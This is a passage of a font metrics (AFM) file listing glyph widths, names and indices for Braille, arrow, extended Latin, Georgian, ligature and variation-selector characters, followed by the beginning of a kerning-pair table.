U 10367 ; WX 732 ; N uni287F ; G 2816
U 10368 ; WX 732 ; N uni2880 ; G 2817
U 10369 ; WX 732 ; N uni2881 ; G 2818
U 10370 ; WX 732 ; N uni2882 ; G 2819
U 10371 ; WX 732 ; N uni2883 ; G 2820
U 10372 ; WX 732 ; N uni2884 ; G 2821
U 10373 ; WX 732 ; N uni2885 ; G 2822
U 10374 ; WX 732 ; N uni2886 ; G 2823
U 10375 ; WX 732 ; N uni2887 ; G 2824
U 10376 ; WX 732 ; N uni2888 ; G 2825
U 10377 ; WX 732 ; N uni2889 ; G 2826
U 10378 ; WX 732 ; N uni288A ; G 2827
U 10379 ; WX 732 ; N uni288B ; G 2828
U 10380 ; WX 732 ; N uni288C ; G 2829
U 10381 ; WX 732 ; N uni288D ; G 2830
U 10382 ; WX 732 ; N uni288E ; G 2831
U 10383 ; WX 732 ; N uni288F ; G 2832
U 10384 ; WX 732 ; N uni2890 ; G 2833
U 10385 ; WX 732 ; N uni2891 ; G 2834
U 10386 ; WX 732 ; N uni2892 ; G 2835
U 10387 ; WX 732 ; N uni2893 ; G 2836
U 10388 ; WX 732 ; N uni2894 ; G 2837
U 10389 ; WX 732 ; N uni2895 ; G 2838
U 10390 ; WX 732 ; N uni2896 ; G 2839
U 10391 ; WX 732 ; N uni2897 ; G 2840
U 10392 ; WX 732 ; N uni2898 ; G 2841
U 10393 ; WX 732 ; N uni2899 ; G 2842
U 10394 ; WX 732 ; N uni289A ; G 2843
U 10395 ; WX 732 ; N uni289B ; G 2844
U 10396 ; WX 732 ; N uni289C ; G 2845
U 10397 ; WX 732 ; N uni289D ; G 2846
U 10398 ; WX 732 ; N uni289E ; G 2847
U 10399 ; WX 732 ; N uni289F ; G 2848
U 10400 ; WX 732 ; N uni28A0 ; G 2849
U 10401 ; WX 732 ; N uni28A1 ; G 2850
U 10402 ; WX 732 ; N uni28A2 ; G 2851
U 10403 ; WX 732 ; N uni28A3 ; G 2852
U 10404 ; WX 732 ; N uni28A4 ; G 2853
U 10405 ; WX 732 ; N uni28A5 ; G 2854
U 10406 ; WX 732 ; N uni28A6 ; G 2855
U 10407 ; WX 732 ; N uni28A7 ; G 2856
U 10408 ; WX 732 ; N uni28A8 ; G 2857
U 10409 ; WX 732 ; N uni28A9 ; G 2858
U 10410 ; WX 732 ; N uni28AA ; G 2859
U 10411 ; WX 732 ; N uni28AB ; G 2860
U 10412 ; WX 732 ; N uni28AC ; G 2861
U 10413 ; WX 732 ; N uni28AD ; G 2862
U 10414 ; WX 732 ; N uni28AE ; G 2863
U 10415 ; WX 732 ; N uni28AF ; G 2864
U 10416 ; WX 732 ; N uni28B0 ; G 2865
U 10417 ; WX 732 ; N uni28B1 ; G 2866
U 10418 ; WX 732 ; N uni28B2 ; G 2867
U 10419 ; WX 732 ; N uni28B3 ; G 2868
U 10420 ; WX 732 ; N uni28B4 ; G 2869
U 10421 ; WX 732 ; N uni28B5 ; G 2870
U 10422 ; WX 732 ; N uni28B6 ; G 2871
U 10423 ; WX 732 ; N uni28B7 ; G 2872
U 10424 ; WX 732 ; N uni28B8 ; G 2873
U 10425 ; WX 732 ; N uni28B9 ; G 2874
U 10426 ; WX 732 ; N uni28BA ; G 2875
U 10427 ; WX 732 ; N uni28BB ; G 2876
U 10428 ; WX 732 ; N uni28BC ; G 2877
U 10429 ; WX 732 ; N uni28BD ; G 2878
U 10430 ; WX 732 ; N uni28BE ; G 2879
U 10431 ; WX 732 ; N uni28BF ; G 2880
U 10432 ; WX 732 ; N uni28C0 ; G 2881
U 10433 ; WX 732 ; N uni28C1 ; G 2882
U 10434 ; WX 732 ; N uni28C2 ; G 2883
U 10435 ; WX 732 ; N uni28C3 ; G 2884
U 10436 ; WX 732 ; N uni28C4 ; G 2885
U 10437 ; WX 732 ; N uni28C5 ; G 2886
U 10438 ; WX 732 ; N uni28C6 ; G 2887
U 10439 ; WX 732 ; N uni28C7 ; G 2888
U 10440 ; WX 732 ; N uni28C8 ; G 2889
U 10441 ; WX 732 ; N uni28C9 ; G 2890
U 10442 ; WX 732 ; N uni28CA ; G 2891
U 10443 ; WX 732 ; N uni28CB ; G 2892
U 10444 ; WX 732 ; N uni28CC ; G 2893
U 10445 ; WX 732 ; N uni28CD ; G 2894
U 10446 ; WX 732 ; N uni28CE ; G 2895
U 10447 ; WX 732 ; N uni28CF ; G 2896
U 10448 ; WX 732 ; N uni28D0 ; G 2897
U 10449 ; WX 732 ; N uni28D1 ; G 2898
U 10450 ; WX 732 ; N uni28D2 ; G 2899
U 10451 ; WX 732 ; N uni28D3 ; G 2900
U 10452 ; WX 732 ; N uni28D4 ; G 2901
U 10453 ; WX 732 ; N uni28D5 ; G 2902
U 10454 ; WX 732 ; N uni28D6 ; G 2903
U 10455 ; WX 732 ; N uni28D7 ; G 2904
U 10456 ; WX 732 ; N uni28D8 ; G 2905
U 10457 ; WX 732 ; N uni28D9 ; G 2906
U 10458 ; WX 732 ; N uni28DA ; G 2907
U 10459 ; WX 732 ; N uni28DB ; G 2908
U 10460 ; WX 732 ; N uni28DC ; G 2909
U 10461 ; WX 732 ; N uni28DD ; G 2910
U 10462 ; WX 732 ; N uni28DE ; G 2911
U 10463 ; WX 732 ; N uni28DF ; G 2912
U 10464 ; WX 732 ; N uni28E0 ; G 2913
U 10465 ; WX 732 ; N uni28E1 ; G 2914
U 10466 ; WX 732 ; N uni28E2 ; G 2915
U 10467 ; WX 732 ; N uni28E3 ; G 2916
U 10468 ; WX 732 ; N uni28E4 ; G 2917
U 10469 ; WX 732 ; N uni28E5 ; G 2918
U 10470 ; WX 732 ; N uni28E6 ; G 2919
U 10471 ; WX 732 ; N uni28E7 ; G 2920
U 10472 ; WX 732 ; N uni28E8 ; G 2921
U 10473 ; WX 732 ; N uni28E9 ; G 2922
U 10474 ; WX 732 ; N uni28EA ; G 2923
U 10475 ; WX 732 ; N uni28EB ; G 2924
U 10476 ; WX 732 ; N uni28EC ; G 2925
U 10477 ; WX 732 ; N uni28ED ; G 2926
U 10478 ; WX 732 ; N uni28EE ; G 2927
U 10479 ; WX 732 ; N uni28EF ; G 2928
U 10480 ; WX 732 ; N uni28F0 ; G 2929
U 10481 ; WX 732 ; N uni28F1 ; G 2930
U 10482 ; WX 732 ; N uni28F2 ; G 2931
U 10483 ; WX 732 ; N uni28F3 ; G 2932
U 10484 ; WX 732 ; N uni28F4 ; G 2933
U 10485 ; WX 732 ; N uni28F5 ; G 2934
U 10486 ; WX 732 ; N uni28F6 ; G 2935
U 10487 ; WX 732 ; N uni28F7 ; G 2936
U 10488 ; WX 732 ; N uni28F8 ; G 2937
U 10489 ; WX 732 ; N uni28F9 ; G 2938
U 10490 ; WX 732 ; N uni28FA ; G 2939
U 10491 ; WX 732 ; N uni28FB ; G 2940
U 10492 ; WX 732 ; N uni28FC ; G 2941
U 10493 ; WX 732 ; N uni28FD ; G 2942
U 10494 ; WX 732 ; N uni28FE ; G 2943
U 10495 ; WX 732 ; N uni28FF ; G 2944
U 10496 ; WX 838 ; N uni2900 ; G 2945
U 10497 ; WX 838 ; N uni2901 ; G 2946
U 10498 ; WX 838 ; N uni2902 ; G 2947
U 10499 ; WX 838 ; N uni2903 ; G 2948
U 10500 ; WX 838 ; N uni2904 ; G 2949
U 10501 ; WX 838 ; N uni2905 ; G 2950
U 10502 ; WX 838 ; N uni2906 ; G 2951
U 10503 ; WX 838 ; N uni2907 ; G 2952
U 10504 ; WX 838 ; N uni2908 ; G 2953
U 10505 ; WX 838 ; N uni2909 ; G 2954
U 10506 ; WX 838 ; N uni290A ; G 2955
U 10507 ; WX 838 ; N uni290B ; G 2956
U 10508 ; WX 838 ; N uni290C ; G 2957
U 10509 ; WX 838 ; N uni290D ; G 2958
U 10510 ; WX 838 ; N uni290E ; G 2959
U 10511 ; WX 838 ; N uni290F ; G 2960
U 10512 ; WX 838 ; N uni2910 ; G 2961
U 10513 ; WX 838 ; N uni2911 ; G 2962
U 10514 ; WX 838 ; N uni2912 ; G 2963
U 10515 ; WX 838 ; N uni2913 ; G 2964
U 10516 ; WX 838 ; N uni2914 ; G 2965
U 10517 ; WX 838 ; N uni2915 ; G 2966
U 10518 ; WX 838 ; N uni2916 ; G 2967
U 10519 ; WX 838 ; N uni2917 ; G 2968
U 10520 ; WX 838 ; N uni2918 ; G 2969
U 10521 ; WX 838 ; N uni2919 ; G 2970
U 10522 ; WX 838 ; N uni291A ; G 2971
U 10523 ; WX 838 ; N uni291B ; G 2972
U 10524 ; WX 838 ; N uni291C ; G 2973
U 10525 ; WX 838 ; N uni291D ; G 2974
U 10526 ; WX 838 ; N uni291E ; G 2975
U 10527 ; WX 838 ; N uni291F ; G 2976
U 10528 ; WX 838 ; N uni2920 ; G 2977
U 10529 ; WX 838 ; N uni2921 ; G 2978
U 10530 ; WX 838 ; N uni2922 ; G 2979
U 10531 ; WX 838 ; N uni2923 ; G 2980
U 10532 ; WX 838 ; N uni2924 ; G 2981
U 10533 ; WX 838 ; N uni2925 ; G 2982
U 10534 ; WX 838 ; N uni2926 ; G 2983
U 10535 ; WX 838 ; N uni2927 ; G 2984
U 10536 ; WX 838 ; N uni2928 ; G 2985
U 10537 ; WX 838 ; N uni2929 ; G 2986
U 10538 ; WX 838 ; N uni292A ; G 2987
U 10539 ; WX 838 ; N uni292B ; G 2988
U 10540 ; WX 838 ; N uni292C ; G 2989
U 10541 ; WX 838 ; N uni292D ; G 2990
U 10542 ; WX 838 ; N uni292E ; G 2991
U 10543 ; WX 838 ; N uni292F ; G 2992
U 10544 ; WX 838 ; N uni2930 ; G 2993
U 10545 ; WX 838 ; N uni2931 ; G 2994
U 10546 ; WX 838 ; N uni2932 ; G 2995
U 10547 ; WX 838 ; N uni2933 ; G 2996
U 10548 ; WX 838 ; N uni2934 ; G 2997
U 10549 ; WX 838 ; N uni2935 ; G 2998
U 10550 ; WX 838 ; N uni2936 ; G 2999
U 10551 ; WX 838 ; N uni2937 ; G 3000
U 10552 ; WX 838 ; N uni2938 ; G 3001
U 10553 ; WX 838 ; N uni2939 ; G 3002
U 10554 ; WX 838 ; N uni293A ; G 3003
U 10555 ; WX 838 ; N uni293B ; G 3004
U 10556 ; WX 838 ; N uni293C ; G 3005
U 10557 ; WX 838 ; N uni293D ; G 3006
U 10558 ; WX 838 ; N uni293E ; G 3007
U 10559 ; WX 838 ; N uni293F ; G 3008
U 10560 ; WX 838 ; N uni2940 ; G 3009
U 10561 ; WX 838 ; N uni2941 ; G 3010
U 10562 ; WX 838 ; N uni2942 ; G 3011
U 10563 ; WX 838 ; N uni2943 ; G 3012
U 10564 ; WX 838 ; N uni2944 ; G 3013
U 10565 ; WX 838 ; N uni2945 ; G 3014
U 10566 ; WX 838 ; N uni2946 ; G 3015
U 10567 ; WX 838 ; N uni2947 ; G 3016
U 10568 ; WX 838 ; N uni2948 ; G 3017
U 10569 ; WX 838 ; N uni2949 ; G 3018
U 10570 ; WX 838 ; N uni294A ; G 3019
U 10571 ; WX 838 ; N uni294B ; G 3020
U 10572 ; WX 838 ; N uni294C ; G 3021
U 10573 ; WX 838 ; N uni294D ; G 3022
U 10574 ; WX 838 ; N uni294E ; G 3023
U 10575 ; WX 838 ; N uni294F ; G 3024
U 10576 ; WX 838 ; N uni2950 ; G 3025
U 10577 ; WX 838 ; N uni2951 ; G 3026
U 10578 ; WX 838 ; N uni2952 ; G 3027
U 10579 ; WX 838 ; N uni2953 ; G 3028
U 10580 ; WX 838 ; N uni2954 ; G 3029
U 10581 ; WX 838 ; N uni2955 ; G 3030
U 10582 ; WX 838 ; N uni2956 ; G 3031
U 10583 ; WX 838 ; N uni2957 ; G 3032
U 10584 ; WX 838 ; N uni2958 ; G 3033
U 10585 ; WX 838 ; N uni2959 ; G 3034
U 10586 ; WX 838 ; N uni295A ; G 3035
U 10587 ; WX 838 ; N uni295B ; G 3036
U 10588 ; WX 838 ; N uni295C ; G 3037
U 10589 ; WX 838 ; N uni295D ; G 3038
U 10590 ; WX 838 ; N uni295E ; G 3039
U 10591 ; WX 838 ; N uni295F ; G 3040
U 10592 ; WX 838 ; N uni2960 ; G 3041
U 10593 ; WX 838 ; N uni2961 ; G 3042
U 10594 ; WX 838 ; N uni2962 ; G 3043
U 10595 ; WX 838 ; N uni2963 ; G 3044
U 10596 ; WX 838 ; N uni2964 ; G 3045
U 10597 ; WX 838 ; N uni2965 ; G 3046
U 10598 ; WX 838 ; N uni2966 ; G 3047
U 10599 ; WX 838 ; N uni2967 ; G 3048
U 10600 ; WX 838 ; N uni2968 ; G 3049
U 10601 ; WX 838 ; N uni2969 ; G 3050
U 10602 ; WX 838 ; N uni296A ; G 3051
U 10603 ; WX 838 ; N uni296B ; G 3052
U 10604 ; WX 838 ; N uni296C ; G 3053
U 10605 ; WX 838 ; N uni296D ; G 3054
U 10606 ; WX 838 ; N uni296E ; G 3055
U 10607 ; WX 838 ; N uni296F ; G 3056
U 10608 ; WX 838 ; N uni2970 ; G 3057
U 10609 ; WX 838 ; N uni2971 ; G 3058
U 10610 ; WX 838 ; N uni2972 ; G 3059
U 10611 ; WX 838 ; N uni2973 ; G 3060
U 10612 ; WX 838 ; N uni2974 ; G 3061
U 10613 ; WX 838 ; N uni2975 ; G 3062
U 10614 ; WX 838 ; N uni2976 ; G 3063
U 10615 ; WX 981 ; N uni2977 ; G 3064
U 10616 ; WX 838 ; N uni2978 ; G 3065
U 10617 ; WX 838 ; N uni2979 ; G 3066
U 10618 ; WX 984 ; N uni297A ; G 3067
U 10619 ; WX 838 ; N uni297B ; G 3068
U 10620 ; WX 838 ; N uni297C ; G 3069
U 10621 ; WX 838 ; N uni297D ; G 3070
U 10622 ; WX 838 ; N uni297E ; G 3071
U 10623 ; WX 838 ; N uni297F ; G 3072
U 10731 ; WX 494 ; N uni29EB ; G 3073
U 10764 ; WX 1513 ; N uni2A0C ; G 3074
U 10765 ; WX 521 ; N uni2A0D ; G 3075
U 10766 ; WX 521 ; N uni2A0E ; G 3076
U 10799 ; WX 838 ; N uni2A2F ; G 3077
U 10858 ; WX 838 ; N uni2A6A ; G 3078
U 10859 ; WX 838 ; N uni2A6B ; G 3079
U 11008 ; WX 838 ; N uni2B00 ; G 3080
U 11009 ; WX 838 ; N uni2B01 ; G 3081
U 11010 ; WX 838 ; N uni2B02 ; G 3082
U 11011 ; WX 838 ; N uni2B03 ; G 3083
U 11012 ; WX 838 ; N uni2B04 ; G 3084
U 11013 ; WX 838 ; N uni2B05 ; G 3085
U 11014 ; WX 838 ; N uni2B06 ; G 3086
U 11015 ; WX 838 ; N uni2B07 ; G 3087
U 11016 ; WX 838 ; N uni2B08 ; G 3088
U 11017 ; WX 838 ; N uni2B09 ; G 3089
U 11018 ; WX 838 ; N uni2B0A ; G 3090
U 11019 ; WX 838 ; N uni2B0B ; G 3091
U 11020 ; WX 838 ; N uni2B0C ; G 3092
U 11021 ; WX 838 ; N uni2B0D ; G 3093
U 11022 ; WX 838 ; N uni2B0E ; G 3094
U 11023 ; WX 838 ; N uni2B0F ; G 3095
U 11024 ; WX 838 ; N uni2B10 ; G 3096
U 11025 ; WX 838 ; N uni2B11 ; G 3097
U 11026 ; WX 945 ; N uni2B12 ; G 3098
U 11027 ; WX 945 ; N uni2B13 ; G 3099
U 11028 ; WX 945 ; N uni2B14 ; G 3100
U 11029 ; WX 945 ; N uni2B15 ; G 3101
U 11030 ; WX 769 ; N uni2B16 ; G 3102
U 11031 ; WX 769 ; N uni2B17 ; G 3103
U 11032 ; WX 769 ; N uni2B18 ; G 3104
U 11033 ; WX 769 ; N uni2B19 ; G 3105
U 11034 ; WX 945 ; N uni2B1A ; G 3106
U 11360 ; WX 664 ; N uni2C60 ; G 3107
U 11361 ; WX 320 ; N uni2C61 ; G 3108
U 11363 ; WX 673 ; N uni2C63 ; G 3109
U 11364 ; WX 753 ; N uni2C64 ; G 3110
U 11367 ; WX 872 ; N uni2C67 ; G 3111
U 11368 ; WX 644 ; N uni2C68 ; G 3112
U 11369 ; WX 747 ; N uni2C69 ; G 3113
U 11370 ; WX 606 ; N uni2C6A ; G 3114
U 11371 ; WX 695 ; N uni2C6B ; G 3115
U 11372 ; WX 527 ; N uni2C6C ; G 3116
U 11373 ; WX 782 ; N uni2C6D ; G 3117
U 11374 ; WX 1024 ; N uni2C6E ; G 3118
U 11375 ; WX 722 ; N uni2C6F ; G 3119
U 11376 ; WX 782 ; N uni2C70 ; G 3120
U 11377 ; WX 663 ; N uni2C71 ; G 3121
U 11378 ; WX 1130 ; N uni2C72 ; G 3122
U 11379 ; WX 939 ; N uni2C73 ; G 3123
U 11381 ; WX 740 ; N uni2C75 ; G 3124
U 11382 ; WX 556 ; N uni2C76 ; G 3125
U 11383 ; WX 700 ; N uni2C77 ; G 3126
U 11385 ; WX 501 ; N uni2C79 ; G 3127
U 11386 ; WX 602 ; N uni2C7A ; G 3128
U 11387 ; WX 553 ; N uni2C7B ; G 3129
U 11388 ; WX 264 ; N uni2C7C ; G 3130
U 11389 ; WX 455 ; N uni2C7D ; G 3131
U 11390 ; WX 685 ; N uni2C7E ; G 3132
U 11391 ; WX 695 ; N uni2C7F ; G 3133
U 11520 ; WX 773 ; N uni2D00 ; G 3134
U 11521 ; WX 635 ; N uni2D01 ; G 3135
U 11522 ; WX 633 ; N uni2D02 ; G 3136
U 11523 ; WX 658 ; N uni2D03 ; G 3137
U 11524 ; WX 631 ; N uni2D04 ; G 3138
U 11525 ; WX 962 ; N uni2D05 ; G 3139
U 11526 ; WX 756 ; N uni2D06 ; G 3140
U 11527 ; WX 960 ; N uni2D07 ; G 3141
U 11528 ; WX 617 ; N uni2D08 ; G 3142
U 11529 ; WX 646 ; N uni2D09 ; G 3143
U 11530 ; WX 962 ; N uni2D0A ; G 3144
U 11531 ; WX 632 ; N uni2D0B ; G 3145
U 11532 ; WX 646 ; N uni2D0C ; G 3146
U 11533 ; WX 962 ; N uni2D0D ; G 3147
U 11534 ; WX 645 ; N uni2D0E ; G 3148
U 11535 ; WX 866 ; N uni2D0F ; G 3149
U 11536 ; WX 961 ; N uni2D10 ; G 3150
U 11537 ; WX 645 ; N uni2D11 ; G 3151
U 11538 ; WX 645 ; N uni2D12 ; G 3152
U 11539 ; WX 959 ; N uni2D13 ; G 3153
U 11540 ; WX 945 ; N uni2D14 ; G 3154
U 11541 ; WX 863 ; N uni2D15 ; G 3155
U 11542 ; WX 644 ; N uni2D16 ; G 3156
U 11543 ; WX 646 ; N uni2D17 ; G 3157
U 11544 ; WX 645 ; N uni2D18 ; G 3158
U 11545 ; WX 649 ; N uni2D19 ; G 3159
U 11546 ; WX 688 ; N uni2D1A ; G 3160
U 11547 ; WX 634 ; N uni2D1B ; G 3161
U 11548 ; WX 982 ; N uni2D1C ; G 3162
U 11549 ; WX 681 ; N uni2D1D ; G 3163
U 11550 ; WX 676 ; N uni2D1E ; G 3164
U 11551 ; WX 852 ; N uni2D1F ; G 3165
U 11552 ; WX 957 ; N uni2D20 ; G 3166
U 11553 ; WX 632 ; N uni2D21 ; G 3167
U 11554 ; WX 645 ; N uni2D22 ; G 3168
U 11555 ; WX 646 ; N uni2D23 ; G 3169
U 11556 ; WX 749 ; N uni2D24 ; G 3170
U 11557 ; WX 914 ; N uni2D25 ; G 3171
U 11800 ; WX 536 ; N uni2E18 ; G 3172
U 11807 ; WX 838 ; N uni2E1F ; G 3173
U 11810 ; WX 390 ; N uni2E22 ; G 3174
U 11811 ; WX 390 ; N uni2E23 ; G 3175
U 11812 ; WX 390 ; N uni2E24 ; G 3176
U 11813 ; WX 390 ; N uni2E25 ; G 3177
U 11822 ; WX 536 ; N uni2E2E ; G 3178
U 42564 ; WX 685 ; N uniA644 ; G 3179
U 42565 ; WX 513 ; N uniA645 ; G 3180
U 42566 ; WX 395 ; N uniA646 ; G 3181
U 42567 ; WX 392 ; N uniA647 ; G 3182
U 42576 ; WX 1104 ; N uniA650 ; G 3183
U 42577 ; WX 888 ; N uniA651 ; G 3184
U 42580 ; WX 1193 ; N uniA654 ; G 3185
U 42581 ; WX 871 ; N uniA655 ; G 3186
U 42582 ; WX 1140 ; N uniA656 ; G 3187
U 42583 ; WX 899 ; N uniA657 ; G 3188
U 42648 ; WX 1416 ; N uniA698 ; G 3189
U 42649 ; WX 999 ; N uniA699 ; G 3190
U 42760 ; WX 493 ; N uniA708 ; G 3191
U 42761 ; WX 493 ; N uniA709 ; G 3192
U 42762 ; WX 493 ; N uniA70A ; G 3193
U 42763 ; WX 493 ; N uniA70B ; G 3194
U 42764 ; WX 493 ; N uniA70C ; G 3195
U 42765 ; WX 493 ; N uniA70D ; G 3196
U 42766 ; WX 493 ; N uniA70E ; G 3197
U 42767 ; WX 493 ; N uniA70F ; G 3198
U 42768 ; WX 493 ; N uniA710 ; G 3199
U 42769 ; WX 493 ; N uniA711 ; G 3200
U 42770 ; WX 493 ; N uniA712 ; G 3201
U 42771 ; WX 493 ; N uniA713 ; G 3202
U 42772 ; WX 493 ; N uniA714 ; G 3203
U 42773 ; WX 493 ; N uniA715 ; G 3204
U 42774 ; WX 493 ; N uniA716 ; G 3205
U 42779 ; WX 369 ; N uniA71B ; G 3206
U 42780 ; WX 369 ; N uniA71C ; G 3207
U 42781 ; WX 253 ; N uniA71D ; G 3208
U 42782 ; WX 253 ; N uniA71E ; G 3209
U 42783 ; WX 253 ; N uniA71F ; G 3210
U 42790 ; WX 872 ; N uniA726 ; G 3211
U 42791 ; WX 634 ; N uniA727 ; G 3212
U 42792 ; WX 843 ; N uniA728 ; G 3213
U 42793 ; WX 754 ; N uniA729 ; G 3214
U 42794 ; WX 612 ; N uniA72A ; G 3215
U 42795 ; WX 560 ; N uniA72B ; G 3216
U 42796 ; WX 548 ; N uniA72C ; G 3217
U 42797 ; WX 531 ; N uniA72D ; G 3218
U 42798 ; WX 629 ; N uniA72E ; G 3219
U 42799 ; WX 610 ; N uniA72F ; G 3220
U 42800 ; WX 514 ; N uniA730 ; G 3221
U 42801 ; WX 513 ; N uniA731 ; G 3222
U 42802 ; WX 1195 ; N uniA732 ; G 3223
U 42803 ; WX 944 ; N uniA733 ; G 3224
U 42804 ; WX 1226 ; N uniA734 ; G 3225
U 42805 ; WX 950 ; N uniA735 ; G 3226
U 42806 ; WX 1149 ; N uniA736 ; G 3227
U 42807 ; WX 934 ; N uniA737 ; G 3228
U 42808 ; WX 968 ; N uniA738 ; G 3229
U 42809 ; WX 784 ; N uniA739 ; G 3230
U 42810 ; WX 968 ; N uniA73A ; G 3231
U 42811 ; WX 784 ; N uniA73B ; G 3232
U 42812 ; WX 962 ; N uniA73C ; G 3233
U 42813 ; WX 824 ; N uniA73D ; G 3234
U 42814 ; WX 765 ; N uniA73E ; G 3235
U 42815 ; WX 560 ; N uniA73F ; G 3236
U 42816 ; WX 774 ; N uniA740 ; G 3237
U 42817 ; WX 625 ; N uniA741 ; G 3238
U 42822 ; WX 787 ; N uniA746 ; G 3239
U 42823 ; WX 434 ; N uniA747 ; G 3240
U 42826 ; WX 932 ; N uniA74A ; G 3241
U 42827 ; WX 711 ; N uniA74B ; G 3242
U 42830 ; WX 1416 ; N uniA74E ; G 3243
U 42831 ; WX 999 ; N uniA74F ; G 3244
U 42856 ; WX 707 ; N uniA768 ; G 3245
U 42857 ; WX 610 ; N uniA769 ; G 3246
U 42875 ; WX 612 ; N uniA77B ; G 3247
U 42876 ; WX 478 ; N uniA77C ; G 3248
U 42880 ; WX 664 ; N uniA780 ; G 3249
U 42881 ; WX 320 ; N uniA781 ; G 3250
U 42882 ; WX 843 ; N uniA782 ; G 3251
U 42883 ; WX 644 ; N uniA783 ; G 3252
U 42884 ; WX 612 ; N uniA784 ; G 3253
U 42885 ; WX 478 ; N uniA785 ; G 3254
U 42886 ; WX 765 ; N uniA786 ; G 3255
U 42887 ; WX 560 ; N uniA787 ; G 3256
U 42891 ; WX 402 ; N uniA78B ; G 3257
U 42892 ; WX 275 ; N uniA78C ; G 3258
U 42893 ; WX 773 ; N uniA78D ; G 3259
U 42896 ; WX 875 ; N uniA790 ; G 3260
U 42897 ; WX 644 ; N uniA791 ; G 3261
U 42922 ; WX 872 ; N uniA7AA ; G 3262
U 43000 ; WX 549 ; N uniA7F8 ; G 3263
U 43001 ; WX 623 ; N uniA7F9 ; G 3264
U 43002 ; WX 957 ; N uniA7FA ; G 3265
U 43003 ; WX 694 ; N uniA7FB ; G 3266
U 43004 ; WX 673 ; N uniA7FC ; G 3267
U 43005 ; WX 1024 ; N uniA7FD ; G 3268
U 43006 ; WX 395 ; N uniA7FE ; G 3269
U 43007 ; WX 1201 ; N uniA7FF ; G 3270
U 62464 ; WX 654 ; N uniF400 ; G 3271
U 62465 ; WX 665 ; N uniF401 ; G 3272
U 62466 ; WX 714 ; N uniF402 ; G 3273
U 62467 ; WX 947 ; N uniF403 ; G 3274
U 62468 ; WX 665 ; N uniF404 ; G 3275
U 62469 ; WX 659 ; N uniF405 ; G 3276
U 62470 ; WX 725 ; N uniF406 ; G 3277
U 62471 ; WX 986 ; N uniF407 ; G 3278
U 62472 ; WX 665 ; N uniF408 ; G 3279
U 62473 ; WX 665 ; N uniF409 ; G 3280
U 62474 ; WX 1257 ; N uniF40A ; G 3281
U 62475 ; WX 683 ; N uniF40B ; G 3282
U 62476 ; WX 682 ; N uniF40C ; G 3283
U 62477 ; WX 953 ; N uniF40D ; G 3284
U 62478 ; WX 665 ; N uniF40E ; G 3285
U 62479 ; WX 682 ; N uniF40F ; G 3286
U 62480 ; WX 999 ; N uniF410 ; G 3287
U 62481 ; WX 746 ; N uniF411 ; G 3288
U 62482 ; WX 798 ; N uniF412 ; G 3289
U 62483 ; WX 748 ; N uniF413 ; G 3290
U 62484 ; WX 944 ; N uniF414 ; G 3291
U 62485 ; WX 681 ; N uniF415 ; G 3292
U 62486 ; WX 936 ; N uniF416 ; G 3293
U 62487 ; WX 680 ; N uniF417 ; G 3294
U 62488 ; WX 688 ; N uniF418 ; G 3295
U 62489 ; WX 682 ; N uniF419 ; G 3296
U 62490 ; WX 729 ; N uniF41A ; G 3297
U 62491 ; WX 682 ; N uniF41B ; G 3298
U 62492 ; WX 688 ; N uniF41C ; G 3299
U 62493 ; WX 666 ; N uniF41D ; G 3300
U 62494 ; WX 729 ; N uniF41E ; G 3301
U 62495 ; WX 884 ; N uniF41F ; G 3302
U 62496 ; WX 665 ; N uniF420 ; G 3303
U 62497 ; WX 706 ; N uniF421 ; G 3304
U 62498 ; WX 666 ; N uniF422 ; G 3305
U 62499 ; WX 665 ; N uniF423 ; G 3306
U 62500 ; WX 665 ; N uniF424 ; G 3307
U 62501 ; WX 722 ; N uniF425 ; G 3308
U 62502 ; WX 961 ; N uniF426 ; G 3309
U 62504 ; WX 904 ; N uniF428 ; G 3310
U 63173 ; WX 602 ; N uniF6C5 ; G 3311
U 63185 ; WX 500 ; N cyrBreve ; G 3312
U 63188 ; WX 500 ; N cyrbreve ; G 3313
U 64256 ; WX 710 ; N uniFB00 ; G 3314
U 64257 ; WX 667 ; N fi ; G 3315
U 64258 ; WX 667 ; N fl ; G 3316
U 64259 ; WX 1028 ; N uniFB03 ; G 3317
U 64260 ; WX 1030 ; N uniFB04 ; G 3318
U 64261 ; WX 771 ; N uniFB05 ; G 3319
U 64262 ; WX 933 ; N uniFB06 ; G 3320
U 65024 ; WX 0 ; N uniFE00 ; G 3321
U 65025 ; WX 0 ; N uniFE01 ; G 3322
U 65026 ; WX 0 ; N uniFE02 ; G 3323
U 65027 ; WX 0 ; N uniFE03 ; G 3324
U 65028 ; WX 0 ; N uniFE04 ; G 3325
U 65029 ; WX 0 ; N uniFE05 ; G 3326
U 65030 ; WX 0 ; N uniFE06 ; G 3327
U 65031 ; WX 0 ; N uniFE07 ; G 3328
U 65032 ; WX 0 ; N uniFE08 ; G 3329
U 65033 ; WX 0 ; N uniFE09 ; G 3330
U 65034 ; WX 0 ; N uniFE0A ; G 3331
U 65035 ; WX 0 ; N uniFE0B ; G 3332
U 65036 ; WX 0 ; N uniFE0C ; G 3333
U 65037 ; WX 0 ; N uniFE0D ; G 3334
U 65038 ; WX 0 ; N uniFE0E ; G 3335
U 65039 ; WX 0 ; N uniFE0F ; G 3336
U 65529 ; WX 0 ; N uniFFF9 ; G 3337
U 65530 ; WX 0 ; N uniFFFA ; G 3338
U 65531 ; WX 0 ; N uniFFFB ; G 3339
U 65532 ; WX 0 ; N uniFFFC ; G 3340
U 65533 ; WX 1025 ; N uniFFFD ; G 3341
EndCharMetrics
StartKernData 
StartKernPairs 1367

KPX dollar seven -112
KPX dollar nine -102
KPX dollar colon -83
KPX dollar less -83
KPX dollar I -36
KPX dollar W -36
KPX dollar Y -83
KPX dollar Z -92
KPX dollar backslash -83
KPX dollar questiondown -83
KPX dollar Aacute -83
KPX dollar Hcircumflex -112
KPX dollar hcircumflex -36
KPX dollar Hbar -112
KPX dollar hbar -36
KPX dollar Kcommaaccent -83
KPX dollar kcommaaccent -92
KPX dollar kgreenlandic -83
KPX dollar Lacute -83
KPX dollar lacute -83
KPX dollar uni01DC -112
KPX dollar uni01DD -36
KPX dollar uni01F4 -83

KPX percent ampersand 38
KPX percent asterisk 38
KPX percent two 38
KPX percent less -36
KPX percent Egrave 38
KPX percent Ecircumflex 38
KPX percent Igrave 38
KPX percent Icircumflex 38
KPX percent Thorn 38
KPX percent agrave 38
KPX percent acircumflex 38
KPX percent adieresis 38
KPX percent Dcaron 38
KPX percent Dcroat 38
KPX percent Emacron 38
KPX percent Ebreve 38
KPX percent kgreenlandic -36
KPX percent lacute -36
KPX percent uni01AC 38
KPX percent uni01AE 38
KPX percent uni01F0 38
KPX percent uni01F4 -36


KPX quotesingle nine -36


KPX parenright dollar -178
KPX parenright D -139
KPX parenright H -112
